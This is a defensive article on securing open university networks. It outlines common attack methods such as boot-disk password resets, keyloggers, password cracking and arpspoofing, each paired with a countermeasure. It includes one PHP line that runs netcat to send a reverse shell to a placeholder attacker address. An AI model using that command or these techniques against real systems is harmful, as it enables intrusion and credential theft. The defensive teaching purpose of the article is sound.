Information Security in Campus and Open Environments
Adrian Duane Crenshaw
(Note: See the newest version here)
Much of an information security professional's job involves keeping outsiders away from the internal network. Much time and money is spent on firewalls and Intrusion Detection Systems to protect gateway machines. Physical security may also be taken care of with access cards and locked doors. This is all fine and good for corporate environments, but what about open environments like university campuses? When an organization's purpose is the dissemination of knowledge, the paradigm of information security shifts tremendously.
You can't physically lock the students and faculty out of every computer on campus. The entire mission of a university is to give the students the tools and information they need to learn and the faculty what they need to teach. At the same time a system administrator at an institution of higher learning has to protect the staff and students from mischievous users on the network. Every information security professional worries about internal attacks, but this worry is especially valid in a campus environment where so many users have physical access to the computers and the network.
So how do we hold back the hordes when the barbarians are already past the gates? In this article I hope to point out some of the common security problems with campus environments and some of the solutions. Many problems may not be solvable because the solution would be counter to the mission of the university, but with a watchful eye many troubles can be averted.
It's an old computer security axiom that if a cracker has physical access to a computer, then he has complete access to the software and data on that computer. It's well known that all one has to do to get a blank local Administrator password on a Windows 2000 box is to delete the SAM file (c:\WINNT\system32\config\SAM), a trivial thing to do with a DOS boot disk. Think you're safe because you use NTFS? Think again. With a handy Linux boot disk from http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html an attacker can reset any local password, including Administrator. There is also ERD Commander and NTFS for Dos from Sysinternals which allow complete access to NTFS drives from a boot CD or diskette.
Now some of you might be thinking: "Those are just the student access machines - my faculty workstations and file servers are still safe because they are behind locked doors." Let me share my little horror story about rights escalation. Local frat boy Steven cracks a workstation and becomes an admin using a boot disk. He then installs a key catcher like Ghost KeyLogger, or maybe something like Fake Gina (from http://www.ntsecurity.nu ) on the box. Later on, one of the support staff with admin privileges to the file servers and most of the workstations on campus logs in to do some work and in the process has his user name and password saved for later retrieval by Steven. Now Steven has access to most of the boxes on the network.
How does one fight against this problem? Using NTFS helps, but is not an absolute solution. Putting passwords on the BIOS can help, but generally that causes more problems for the support staff then the cracker if he has a screwdriver. The same thing can be said for physically locking a case shut. Up to date anti-virus software and regular scans for common key loggers is a good idea. Also setting up regular password expirations can help to mitigate the effects of key loggers.
How many times have you seen someone use a dictionary word as a local Administrator password? With a little scripting knowledge a cracker can brute force dictionary passwords in a matter of minutes. On older NT based OSes that don't have Syskey setup, the cracker can just copy off the SAM and run L0phtcrack on it to obtain the passwords. From over the network they can use tools like Brutus to try to crack accounts.
Ensure that password policies do not allow easy-to-guess passwords and that someone is watching the event logs for signs of a brute force attack. Forced password changes for the support staff are also a good idea. Also avoid using social security numbers as default passwords. Social security information goes across too many desks at a university to be considered secure. Even work-study students may have access to databases of social security numbers, and such information regularly makes it to recycle containers unshredded.
Turn off File Sharing and Unneeded Services
Turning off file sharing on computers that do not need it is a must. Many types of attacks can be averted if an attacker does not have access to administrative shares. Also, those faulty and staff who must use file and printer sharing should be taught how to set proper share permissions. By default, Windows gives the Everyone group full read and write access to shares. To give an example of how bad this can be, let's assume a secretary in one of the offices wants to share a database of student names, social security numbers, and addresses with others in the office. She simply right clicks on the folder she wants to share and takes all of the defaults. Now one of the students is poking around on the network to see what computers are out there and what shares they can get into. They could just browse around Network Neighborhood, or use an automated tool like Legion or WS_Ping ProPack to find network shares. The student comes across a share called "Student Database"; two guesses what kind of information is in it.
Disabling unneeded services like Personal Web Server, SNMP, Simple TCP/IP Services and others can also go a long way to cutting down on potential exploits. Even a system that is behind on service packs and hot fixes can't be exploited if the vulnerable services aren't there to begin with. Turn off anything that is not used and pay attention to what is being installed on the network.
Watch the web and security event logs. There are many times where I would not have noticed attackers on the network if it were not for looking in Event Viewer for failed login attempts. Of course logging must be turned on for this to work so open up MMC (Microsoft Management Console), add Security Configuration and Analysis, and setup logging of failed logins and access attempts. Better yet, set up a GPO (Group Policy Object) to automatically configure security auditing when a machine logs on to the network.
If an Intrusion Detection System is running on campus, make sure someone is looking at the logs. An IDS like Snort is useless if no one actually looks at what is recorded.
Most universities give students and staff the ability to create their own web pages on a campus web server. Sometimes the users can even create ASP or PHP files for their website to make them more dynamic. With PHP installed and configured insecurely a user could run an arbitrary program in their web folder, for example Netcat, with a command like this:
$x = shell_exec("nc AttackingBoxIP 30 -e cmd ");
The previous command shovels a shell back to the attacker, allowing the cracker command line access to the web server and from there he could leap frog to other machines and have his identity obscured as that of the web server. Active Server Pages have similar functionality (Wscript.shell). Using methods similar to these, a user could view the source code of other Active Server Pages (possibly revealing ODBC passwords), or if the web servers file system is Fat32 or the NTFS permissions are overly permissive, they could edit other web pages or system files. To help limit these risks always use NTFS with proper permissions and limit what a user can script (see http://www.php.net for information on using the safe_mode directive in PHP, see Microsoft Knowledgebase article Q278319 for limiting the use of Wscript.shell in Active Server Pages).
I've worked in environments where system administration authority is centralized and the central management won't give the support staff at regional facilities the access rights they need to get their jobs done. This may be done in the name of security, but it can have a negative effect on the overall security of the organization. If support staff members need certain rights they should be given them, otherwise it leads to password sharing and the use of single accounts that have many users. This can cause major problems for accountability and damage control. Let's say Kevin has rights to add new machines into the domain, but his staff does not. The central administration does not want to give anyone else the needed rights but Kevin. For Kevin and his staff to get their job done Kevin must give his password to his staff members, but what if someone decides to do something "Deviant" with the account? The responsible party would be harder to trace because so many staff members have access to the account. Another example is when a support staff member is given the local Administrator passwords to workstations instead of being put into a Domain security group. If that employee is later terminated it's much harder to contain the damage they can do because even if they are taken out of the support staff security groups they still know other staff's passwords and the local Administrator passwords.
When possible insecure protocols that pass credentials in plain text across the network should not be used. Common examples of such insecure protocols are FTP, telnet, POP3, SMTP, and HTTP. In their place use encrypted protocols like SFTP, SSH (Secure Shell), and HTTPS when possible. Protocols like FTP may be hard to switch away from because the clients for more secure protocols like SFTP are not as readily available. FTP clients come with every recent version of Windows (ftp.exe from the command line and Explorer from a GUI), but free clients that support SFTP like FileZilla and PSFTP can be downloaded.
Even with a switched network it's not hard for an attacker to use Ettercap from the Knoppix boot CD or dsniff from the Triux boot diskette to do some arpspoofing and redirect traffic through them for the proposes of sniffing. These tools can even parse out use names and passwords automatically, making the attacker's job easy. If the attacker arpspoofs between the gateway and the FTP server he can sniff the traffic and extract user names and passwords as users are trying to get their data from offsite, and the same thing goes for SMTP and POP3. Even with SFTP, SSL, and SSH, passwords can still be sniffed with Ettercap because it has the ability to proxy those types of connections. The user might get a warning that the public key of the server they are trying to get to has changed or may not be valid, but how many of us just click past those kinds of messages without actually reading them?
Patch, Patch, Patch
While making sure that unneeded services are disabled limits the scope of potential exploits, patching is still important. Know what systems are on the network and patch them in a timely manner. Opensource tools like Nmap ( http://www.insecure.org/ and Nessus ( http://www.nessus.org ) can be used to find out what kinds of operating systems and services are out there; WMI scripts and Microsoft Baseline Security Analyzer can be used to find out what service packs and hot fixes a Windows box is running. Some might be surprised how many machines on their network are running outdated, exploit-vulnerable operating systems and software.
In closing let me say that an information security professional in a campus environment is fighting a losing battle from the start. By their very nature university systems are more open and accessible than corporate systems and must remain so to be useful to the students, staff, and faculty who use them. Even though you can't make your campus' network completely secure and still useable, you can do your best to limit the efforts of the casual cracker. The less casual ones you can hire.